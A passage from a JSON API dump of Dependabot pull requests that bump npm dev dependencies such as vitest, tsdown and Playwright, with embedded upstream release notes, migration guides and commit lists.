href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10992\"\u003evitest-dev/vitest#10992\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5146df80b\"\u003e\u003c!-- raw HTML omitted --\u003e(5146d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEncode iframeId in tester iframe URL [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003ePduhard\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10955\"\u003evitest-dev/vitest#10955\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/10b2cd201\"\u003e\u003c!-- raw HTML omitted --\u003e(10b2c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrigger playwright/chromium gc on lower disk availability [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10951\"\u003evitest-dev/vitest#10951\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9851dbc41\"\u003e\u003c!-- raw HTML omitted --\u003e(9851d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eRestrict redirect mocks to the fs allowlist [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10974\"\u003evitest-dev/vitest#10974\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe5a11d3c\"\u003e\u003c!-- raw HTML omitted --\u003e(fe5a1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.10...v4.1.11\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/4766ce1e72ded629d3a37637f57eeae643789a8c\"\u003e\u003ccode\u003e4766ce1\u003c/code\u003e\u003c/a\u003e chore: release v4.1.12 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11610\"\u003e#11610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9bd8d464e6328c567c2dbcd8fdd977d57a9425c2\"\u003e\u003ccode\u003e9bd8d46\u003c/code\u003e\u003c/a\u003e chore: release v4.1.11 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/10995\"\u003e#10995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.12/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsdown` from 0.22.14 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/rolldown/tsdown/releases\"\u003etsdown's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePreserve false tsconfig option  -  by \u003ca href=\"https://github.com/Masutayunikon\"\u003e\u003ccode\u003e@​Masutayunikon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1065\"\u003erolldown/tsdown#1065\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/407f84b\"\u003e\u003c!-- raw HTML omitted --\u003e(407f8)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eentry\u003c/strong\u003e: Honor custom root for object entry  -  by \u003ca href=\"https://github.com/giaBaoJS\"\u003e\u003ccode\u003e@​giaBaoJS\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1072\"\u003erolldown/tsdown#1072\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/1745223\"\u003e\u003c!-- raw HTML omitted --\u003e(17452)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epkg\u003c/strong\u003e: Pack tarball inside \u003ccode\u003enpm publish --dry-run\u003c/code\u003e  -  by \u003ca href=\"https://github.com/giaBaoJS\"\u003e\u003ccode\u003e@​giaBaoJS\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1076\"\u003erolldown/tsdown#1076\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/83f0c57\"\u003e\u003c!-- raw HTML omitted --\u003e(83f0c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/rolldown/tsdown/compare/v0.23.0...v0.23.1\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch3\u003e   🧭 Migration Guide\u003c/h3\u003e\n\u003cp\u003eMost users can upgrade directly. Before upgrading, run one final build with \u003ccode\u003etsdown@0.22.14\u003c/code\u003e and resolve all deprecation warnings.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003econfig\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebundle: false\u003c/code\u003e → \u003ccode\u003eunbundle: true\u003c/code\u003e; \u003ccode\u003ebundle: true\u003c/code\u003e can be removed\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eoutExtension\u003c/code\u003e → \u003ccode\u003eoutExtensions\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003epublicDir\u003c/code\u003e / \u003ccode\u003e--public-dir\u003c/code\u003e → \u003ccode\u003ecopy\u003c/code\u003e / \u003ccode\u003e--copy\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eremoveNodeProtocol: true\u003c/code\u003e → \u003ccode\u003enodeProtocol: 'strip'\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003einjectStyle\u003c/code\u003e → \u003ccode\u003ecss.inject\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003einlineOnly\u003c/code\u003e / \u003ccode\u003edeps.onlyAllowBundle\u003c/code\u003e → \u003ccode\u003edeps.onlyBundle\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eskipNodeModulesBundle: true\u003c/code\u003e → \u003ccode\u003edeps.neverBundle: true\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eresolveDepSubpath\u003c/code\u003e now defaults to \u003ccode\u003efalse\u003c/code\u003e; set it to \u003ccode\u003etrue\u003c/code\u003e to preserve the previous behavior\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edts\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003erolldown-plugin-dts\u003c/code\u003e was upgraded from \u003ccode\u003e0.27.13\u003c/code\u003e to \u003ccode\u003e0.28.5\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edts.oxc: true\u003c/code\u003e → \u003ccode\u003edts.generator: 'oxc'\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edts.tsgo: true\u003c/code\u003e → \u003ccode\u003edts.generator: 'tsgo'\u003c/code\u003e; \u003ccode\u003eoxc\u003c/code\u003e and \u003ccode\u003etsgo\u003c/code\u003e objects now only configure their respective generators\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edts.volarPlugins\u003c/code\u003e → \u003ccode\u003edts.customLanguages\u003c/code\u003e; rename each language's \u003ccode\u003ecreate\u003c/code\u003e hook to \u003ccode\u003ecreateVolarPlugins\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCustom languages, including \u003ccode\u003evue\u003c/code\u003e, now throw when combined with an incompatible generator\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edts.cjsReexport\u003c/code\u003e was removed; dual-format builds now generate CJS declarations in a separate pass\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eattw\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eThe default profile changed from \u003ccode\u003estrict\u003c/code\u003e to \u003ccode\u003eesm-only\u003c/code\u003e; set \u003ccode\u003eprofile: 'strict'\u003c/code\u003e to preserve the previous checks\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eprogrammatic API\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ebuild()\u003c/code\u003e now returns \u003ccode\u003e{ bundles, watch }\u003c/code\u003e; replace \u003ccode\u003econst bundles = await build()\u003c/code\u003e with \u003ccode\u003econst { bundles } = await build()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erequirements\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eNode.js 25 is no longer supported; use \u003ccode\u003e^22.18.0\u003c/code\u003e, \u003ccode\u003e^24.11.0\u003c/code\u003e, or \u003ccode\u003e\u0026gt;=26.0.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003erolldown-plugin-dts\u003c/code\u003e now requires Rolldown 1.2.x\u003c/li\u003e\n\u003cli\u003eLegacy \u003ccode\u003etypes\u003c/code\u003e and \u003ccode\u003etypesVersions\u003c/code\u003e fallbacks were removed; use TypeScript's \u003ccode\u003ebundler\u003c/code\u003e, \u003ccode\u003enode16\u003c/code\u003e, or \u003ccode\u003enodenext\u003c/code\u003e module resolution\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🚨 Breaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDrop support for Node.js 25  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/26950f1\"\u003e\u003c!-- raw HTML omitted --\u003e(26950)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove deprecated tsup compatibility options  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/507661c\"\u003e\u003c!-- raw HTML omitted --\u003e(50766)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop \u003ccode\u003etypes\u003c/code\u003e and \u003ccode\u003etypesVersions\u003c/code\u003efields  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/be3ea86\"\u003e\u003c!-- raw HTML omitted --\u003e(be3ea)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eattw\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eChange default profile to \u003ccode\u003eesm-only\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/9b3cfca\"\u003e\u003c!-- raw HTML omitted --\u003e(9b3cf)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eRemove deprecated \u003ccode\u003edeps.onlyAllowBundle\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/30c553d\"\u003e\u003c!-- raw HTML omitted --\u003e(30c55)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDisable \u003ccode\u003eresolveDepSubpath\u003c/code\u003e by default  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/rolldown/tsdown/commit/d300fcc\"\u003e\u003c!-- raw HTML omitted --\u003e(d300f)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/64932577f081eaa048ccdebf664dea1315bdc2c9\"\u003e\u003ccode\u003e6493257\u003c/code\u003e\u003c/a\u003e chore: release v0.23.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/ba6acb94dfd974b99e119a39e46fc4aec8f903db\"\u003e\u003ccode\u003eba6acb9\u003c/code\u003e\u003c/a\u003e chore: upgrade deps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/6cbfec72cc0fd90f24699734098884b47bce689f\"\u003e\u003ccode\u003e6cbfec7\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency unplugin-vue to v8 (\u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1090\"\u003e#1090\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/eb40c95efdf7f98d0aa7b0178a3b7322986bd419\"\u003e\u003ccode\u003eeb40c95\u003c/code\u003e\u003c/a\u003e chore: declare package side effects\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/f9c95d0a63b53f6af81aef6cbddb7e90c3965999\"\u003e\u003ccode\u003ef9c95d0\u003c/code\u003e\u003c/a\u003e chore: align pnpm workspace settings\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/e64bde401ceac8548eee3b1e5e6857392e366abb\"\u003e\u003ccode\u003ee64bde4\u003c/code\u003e\u003c/a\u003e chore: configure pnpm via devEngines\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/83f0c57178214a19b7f90030a31c4099dd414c51\"\u003e\u003ccode\u003e83f0c57\u003c/code\u003e\u003c/a\u003e fix(pkg): pack tarball inside \u003ccode\u003enpm publish --dry-run\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1076\"\u003e#1076\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/17452230b7dd6cae0ce9d9b6e547b155a3c88ffc\"\u003e\u003ccode\u003e1745223\u003c/code\u003e\u003c/a\u003e fix(entry): honor custom root for object entry (\u003ca href=\"https://redirect.github.com/rolldown/tsdown/issues/1072\"\u003e#1072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/9655dcb34c45e635a5656737a49480126f30323e\"\u003e\u003ccode\u003e9655dcb\u003c/code\u003e\u003c/a\u003e chore: upgrade deps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rolldown/tsdown/commit/30da631b6b8f44626eb56ca5201912f076a30a27\"\u003e\u003ccode\u003e30da631\u003c/code\u003e\u003c/a\u003e docs: correct default value of \u003ccode\u003eminify\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/rolldown/tsdown/compare/v0.22.14...v0.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.11 to 4.1.12\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.12\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e: Harden manual and redirect mocks [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11580\"\u003evitest-dev/vitest#11580\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b82531324\"\u003e\u003c!-- raw HTML omitted --\u003e(b8253)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.11...v4.1.12\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/4766ce1e72ded629d3a37637f57eeae643789a8c\"\u003e\u003ccode\u003e4766ce1\u003c/code\u003e\u003c/a\u003e chore: release v4.1.12 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11610\"\u003e#11610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/5bf2197a185429a99a59efdb4192f9b5be1309fb\"\u003e\u003ccode\u003e5bf2197\u003c/code\u003e\u003c/a\u003e chore: delete wdio folder from v4 branch to avoid falsy release (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11581\"\u003e#11581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.12/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/PerryLink/dsh-output-styles/pull/19","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/PerryLink%2Fdsh-output-styles/issues/19","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/19/packages"},{"uuid":"6009580594","node_id":"PR_kwDOUbXMss8AAAABKZZOPw","number":25,"state":"open","title":"chore(deps)(deps-dev): bump the js-minor-and-patch group with 10 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T05:07:51.000Z","updated_at":"2026-10-24T05:08:39.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps-dev): bump","group_name":"js-minor-and-patch","update_count":10,"packages":[{"name":"@playwright/test","old_version":"1.63.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@types/node","old_version":"26.6.1","new_version":"26.6.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"eslint","old_version":"10.10.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"globals","old_version":"17.12.0","new_version":"17.13.0","repository_url":"https://github.com/sindresorhus/globals"},{"name":"lint-staged","old_version":"17.5.1","new_version":"17.6.0","repository_url":"https://github.com/lint-staged/lint-staged"},{"name":"prettier","old_version":"3.9.6","new_version":"3.9.10","repository_url":"https://github.com/prettier/prettier"},{"name":"typescript-eslint","old_version":"8.70.0","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vite","old_version":"8.3.0","new_version":"8.3.4","repository_url":"https://github.com/vitejs/vite"},{"name":"vitest","old_version":"5.0.1","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"wrangler","old_version":"4.151.1","new_version":"4.151.3","repository_url":"https://github.com/cloudflare/workers-sdk"}],"path":null,"ecosystem":"npm"},"body":"Bumps the js-minor-and-patch group with 10 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.63.0` | `1.64.1` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `26.6.1` | `26.6.5` |\n| [eslint](https://github.com/eslint/eslint) | `10.10.0` | `10.13.0` |\n| [globals](https://github.com/sindresorhus/globals) | `17.12.0` | `17.13.0` |\n| [lint-staged](https://github.com/lint-staged/lint-staged) | `17.5.1` | `17.6.0` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.6` | `3.9.10` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.70.0` | `8.72.0` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.3.0` | `8.3.4` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.1` | `5.0.5` |\n| [wrangler](https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler) | `4.151.1` | `4.151.3` |\n\nUpdates `@playwright/test` from 1.63.0 to 1.64.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.64.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43247\"\u003e#43247\u003c/a\u003e [Bug]: _electron.launch intermittently loses a packaged app's first window since 1.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43242\"\u003e#43242\u003c/a\u003e [Regression]: Chromium 155+ aborts a preflighted cross-origin redirect whenever any route is registered (net::ERR_ABORTED)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev1.64.0\u003c/h2\u003e\n\u003ch2\u003e🧰 WebMCP\u003c/h2\u003e\n\u003cp\u003eNew \u003ca href=\"https://playwright.dev/docs/api/class-page#page-webmcp\"\u003epage.webmcp\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-frame#frame-webmcp\"\u003eframe.webmcp\u003c/a\u003e give access to the tools that a page registers through the experimental \u003ca href=\"https://playwright.dev/docs/api/class-webmcp\"\u003eWebMCP\u003c/a\u003e browser API, so you can test them like any other part of your app:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003econst browser = await chromium.launch({ args: ['--enable-features=WebMCP'] });\r\nconst page = await browser.newPage();\r\nawait page.goto('https://example.com');\r\n\u003cp\u003efor (const tool of await page.webmcp.tools())\nconsole.log(tool.name, tool.description);\u003c/p\u003e\n\u003cp\u003econst result = await page.webmcp.callTool('add', { a: 2, b: 40 });\nconsole.log(result.content[0].text); // \u0026quot;42\u0026quot;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://playwright.dev/docs/getting-started-mcp\"\u003ePlaywright MCP\u003c/a\u003e also supports WebMCP by default, with page-defined tools offered to the agent as \u003ccode\u003ewebmcp_\u0026lt;tool\u0026gt;\u003c/code\u003e. Pass \u003ccode\u003e--no-webmcp\u003c/code\u003e to opt out.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://playwright.dev/docs/getting-started-cli\"\u003e\u003ccode\u003eplaywright-cli\u003c/code\u003e\u003c/a\u003e exposes them as well:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eplaywright-cli webmcp-list\r\nplaywright-cli webmcp-call search_catalog --params '{\u0026quot;query\u0026quot;:\u0026quot;cats\u0026quot;}'\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e🎬 Better videos\u003c/h2\u003e\n\u003cp\u003eVideos can now be recorded at a custom frame rate, and the decorations for actions are styled with plain CSS:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// playwright.config.ts\r\nimport { defineConfig } from '@playwright/test';\r\n\u003cp\u003eexport default defineConfig({\nuse: {\nvideo: {\nmode: 'on',\nsize: { width: 1920, height: 1080 },\nfps: 60,\nshow: {\nactions: {\nstyle: {\npoint: 'width: 20px; height: 20px; border-radius: 50%; background: red',\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/cfe490d941f992655948eee8fd4fd94e1c4234bf\"\u003e\u003ccode\u003ecfe490d\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43353\"\u003e#43353\u003c/a\u003e): docs: release notes for v1.64 Python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/866cbb864009f84d7e8e41c64fdbfceff43f280d\"\u003e\u003ccode\u003e866cbb8\u003c/code\u003e\u003c/a\u003e chore: mark v1.64.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43354\"\u003e#43354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1b2924712024804936dbcfe9fabaa655d52325e5\"\u003e\u003ccode\u003e1b29247\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43250\"\u003e#43250\u003c/a\u003e): 